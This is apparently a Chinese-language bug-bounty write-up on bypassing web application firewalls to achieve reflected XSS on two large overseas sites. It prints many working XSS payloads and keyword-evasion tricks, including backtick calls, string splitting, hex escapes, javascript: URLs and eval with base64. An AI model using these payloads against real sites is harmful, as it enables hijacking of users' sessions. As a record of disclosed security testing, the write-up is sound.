硬刚世界500强企业WAF,连斩两枚海外XSS
前言
分享两个海外大型SRC厂商的XSS成功绕过WAF的案例,觉得挺有趣的,遂整理成文,大佬们轻喷~
XSS绕过
某全球顶级网络设备商
首先,URL是这样的
1 | https://axxx.test.com/Cxxxxxxx/gxxxxx?Axxxx=hxxxx&Bxxxx=yxxxx2&Gxxxx=yxxxx&Gxxxxx=gxxxxx&Kxxxx=vxxxxx&Lxxx=nxxxx&Mxxxx=oxxxx=nxxx&Mxxx=xxxx&cxxxxx=ixxx&location=US |
既然是找XSS,那么无非就是找输入输出的点,再绕下WAF就可以了,工具这里就不说了,只说手工。可以看到这么多个输入参数,该怎么快速定位到有回显输出的那个参数呢?
可以直接这样,把每一个参数值都写成一个标记值,比如”X1lyS-1”,”X1lyS-2”,”X1lyS-3”……然后再去响应里搜索标记值,就能快速找出有回显输出的参数
查看源代码,搜索”X1lyS”,由于右键不方便看js代码的结构,每次右键也麻烦,于是推荐使用burp抓包来看就很直观了
一共搜索到4处回显,选择一处结构最清晰简单的进行下一步测试,因为结构清晰的地方便于构造闭合
可以看到GET参数”location=X1lyS-11”,回显输出在了响应中,”var _location=’X1lyS-11’;”,那么就测试这里了
该处回显点,在前端页面表现为修改地理位置的功能点,所以师傅们以后遇到这种场景就可以考虑测试一下有无XSS
回显点处的结构很简单,位于script标签内的_location变量的值处
1 | <script type="text/javascript"> |
既然已经在<script>
标签内,那么就直接构造js代码就可以了,不用再写什么html标签
首先,先闭合逃逸出来_location变量
1 | location=X1lyS-11';test |
逃逸成功!没有过滤'
,和;
符号
直接写个alert
试试呢,最好先不要直接写alert()
,为什么呢?因为alert
+()
是两个变量,alert
是一个变量,如果alert()
被拦截,根据控制变量法,我们不能一步知道WAF到底是拦截的alert
字符串还是()
符号,还是两者都拦截?绕过WAF的核心就是一点一点的FUZZ出来WAF到底拦截的是哪一个小部分,然后我们再使用其他可行的方式替换掉这个小部分就能绕过WAF了
1 | &location=X1lyS-11';alert |
逃逸失效,被WAF转义拦截,说明WAF会拦截alert
关键字
1 | location=X1lyS-11';() |
直接失去回显,location
被设置为了”US”默认值,说明WAF拦截了()
那我们先在alert
关键字本身做文章,尝试最简单的大小写绕过试试
1 | location=X1lyS-11';alerT |
大小写绕过试试失败
拼接绕过试试,使用window
去拼接alert
关键字
1 | window['al'+'ert'](1); |
但是注意()
也被拦截了,于是我们使用反引号来绕过,替换()
1 | location=X1lyS-11';window['al'+'ert']`1`; |
这里还需要注意,这个payload里出现了几个特殊字符[]
以及反引号,它们都需要被URL编码,不然会导致服务器400格式错误,于是我们修改如下
1 | location=X1lyS-11';window%5B%27al%27%2B%27ert%27%5D%601%60%3B |
成功绕过alert
与()
的过滤!
不过还不要忘记加上//
,闭合掉后面的js代码,这样语法才能正确,我们插入的js弹窗代码才会被执行
1 | location=X1lyS-11';window%5B%27al%27%2B%27ert%27%5D%60X1ly?S%60%3B// |
在浏览器浏览响应,看看是否成功弹窗
哟西成功弹窗!
那除了这种正面绕过方式还有什么呢?反面绕过,也就是寻找没有被过滤的关键字来替代alert
证明XSS漏洞存在
比如,下面几个函数来替换
1 | // 使用prompt |
经过尝试prompt
,confirm
也被禁用了,但是console.log
没有被禁用,于是直接又找到一种解法
1 | location=X1lyS-11';console.log%60X1ly%3FS%60// |
执行成功!
如果还想再复杂点该怎么构造呢?使用执行函数嵌套弹窗函数加编码试试
先看看eval
关键字
毫不意外被过滤了,那找一些偏僻点的执行方式试试?
使用 Function 构造函数
1 | // 基本用法 |
使用 setTimeout/setInterval
1 | // 直接使用 |
使用 location 或 URL 相关方法
1 | // 通过 javascript: 协议 |
使用事件处理器
1 | // 创建事件 |
使用动态脚本创建
1 | // 创建 script 元素 |
使用 import()
1 | // 动态导入 |
使用 with 语句
1 | // 结合 with 语句 |
使用 Proxy 对象
1 | // 通过 Proxy 执行 |
这里就简单展示几个成功的,不全部展示了,都是一样的手法
setTimeout
注意哈还是要把括号换成反引号
1 | location=X1lyS-11';setTimeout`alert`1`` |
但是这样是不正确的语法,因为出现了四个反引号,会导致几个反引号配对闭合时产生语法错误,只需要加一个\
转义一下内侧的两个反引号就行了,加上注释符号
1 | location=X1lyS-11';setTimeout`alert\`1\``// |
不过,你是不是忘记了什么?alert
也被过滤了呀,于是再使用一个十六进制编码下
1 | al\x65rt |
特别注意!这样的编码方式需要被嵌套到执行函数内部才能被正确解析,直接这样是语法错误的
url编码
1 | location=X1lyS-11';setTimeout%60al%5Cx65rt%5C%60X1ly?S%5C%60%60%2F%2F |
成功!
javascript
javascript
关键字也需要被十六进制编码,同理可得
1 | location=X1lyS-11';location%5B%27href%27%5D%20%3D%20%27j%5Cx61vascript%3Aal%5Cx65rt%601%60%27// |
某全球最大的在线学习平台
url是这样
1 | https://www.cxxxxxxx.com/cxxxxx/cxxxxxxxx.pl?cxxxx=vxxxx&fxxx=Mxxxx&jxxxx=txxxxx&m=bxxxxx&mod=pxxxx&month=exxxxx&pxxxx=uxxxx&product_isbn_issn=xxxxxx |
上面介绍过的就不再重复,探测出来有回显的参数是product_isbn_issn
前端页面长这样子,对没错,就是一个空白的框框
抓包看看回显点所处的js代码结构
可以看到回显点在try-catch语句块里
那么先构造闭合逃逸
逃逸成功
直接尝试alert
关键字
1 | product_isbn_issn=X1lyS');alert |
发现竟然没有拦截,那么直接闭合后面的符号,不用注释了
1 | product_isbn_issn=X1lyS');alert('1 |
卧槽?直接就闭合了?也没有任何拦截,这么快就秒了吗?
看看浏览器响应,是否真的弹窗了?
果然没这么简单!奇怪,没有成功弹窗,看看控制台有什么报错吗难道?
果然有相关的报错,解释一下这个报错是什么意思
这是一个框架访问错误:
错误信息显示Cannot read properties of undefined (reading 'location')
,说明代码试图访问window.parent.frames['banner']
时失败。可能原因有:父窗口中不存在名为’banner’的框架,或者由于同源策略限制,无法访问跨域的iframe内容
为什么有这个报错会弹窗失败呢?看看此处的js代码
1 | function rexxxxx() { |
那是因为如果 window.parent.frames['banner']
访问失败,try
会捕获错误,但 catch (e) {}
直接忽略,导致你看不到错误。alert('1')
不会执行,因为前面的代码已经报错,JS会停止执行
那咋办?排查下这个报错为什么会产生呢,在浏览器控制台(F12)运行:
1 | console.log(window.parent.frames['banner']); |
如果返回 undefined
,说明没有这个 frame
如果返回 null
或报跨域错误,说明存在但无法访问
好吧说明没有这个frame
,那咋办才能执行我们的弹窗代码捏?这个报错我们无法直接修复,修复不了它的下一行弹窗代码就不会被执行……
既然这样,我们再逃逸一层试试呢,直接逃逸出来try
语句,脱离这个报错的影响范围
1 | product_isbn_issn=X1lyS');}alert('1 |
这样显然是不对的语法,还有一个}
未被正确闭合,于是我们得做大修改,把它们分成三个部分来闭合
1 | ///这是第一个部分:rexxxxx()函数块,函数内部需要使用catch (e)闭合掉try语句,使得语法正确 |
理论成立,开始实战!
闭合第一部分rexxxxx()函数块,以及函数块内部的try语句
1 | product_isbn_issn=X1lyS');}catch(e){}}test |
闭合成功!
接着开始构造弹窗代码逻辑
1 | product_isbn_issn=X1lyS');}catch(e){}}alert(1); |
先这样写着占个位,继续闭合第三部分
1 | product_isbn_issn=X1lyS');}catch(e){}}alert(1);function X(){try{// |
url编个码
1 | product_isbn_issn=X1lyS%27)%3B%7Dcatch(e)%7B%7D%7Dalert('X1ly?S')%3Bfunction%20X()%7Btry%7B%2F%2F |
看看响应
哟西!成功弹窗
“主播主播,你的payload还是太不吃操作了,有没有更复杂的payload”
“有的兄弟有的,这样更复杂的payload还有很多”
假设alert
被过滤,我们有很多种方式去绕过:
- eval嵌套base64编码
1 | eval(atob`YWxlcnQoJ1gxbHk/Uycp`); |
1 | Reflect.apply(window['al'+'ert'], null, ['X1ly?S']); |
1 | Object.defineProperty(window, 'a', {get: () => window['ale'+'rt']}).a('X1ly?S'); |
1 | window[String.fromCharCode(97,108,101,114,116)]('X1ly?S'); |
1 | document.body.innerHTML += '<iframe src="javascript:al\u0065rt(\'X1ly?S\')">'; |
1 | eval(URL.createObjectURL(new Blob(['al\x65rt("X1ly?S")'], {type: 'text/javascript'}))); |
1 | ['al'].map(x => window[x + 'ert']('X1ly?S'))[0]; |
ok,文章到此结束,师傅们下次再见~,欢迎留言下次写什么文章呢?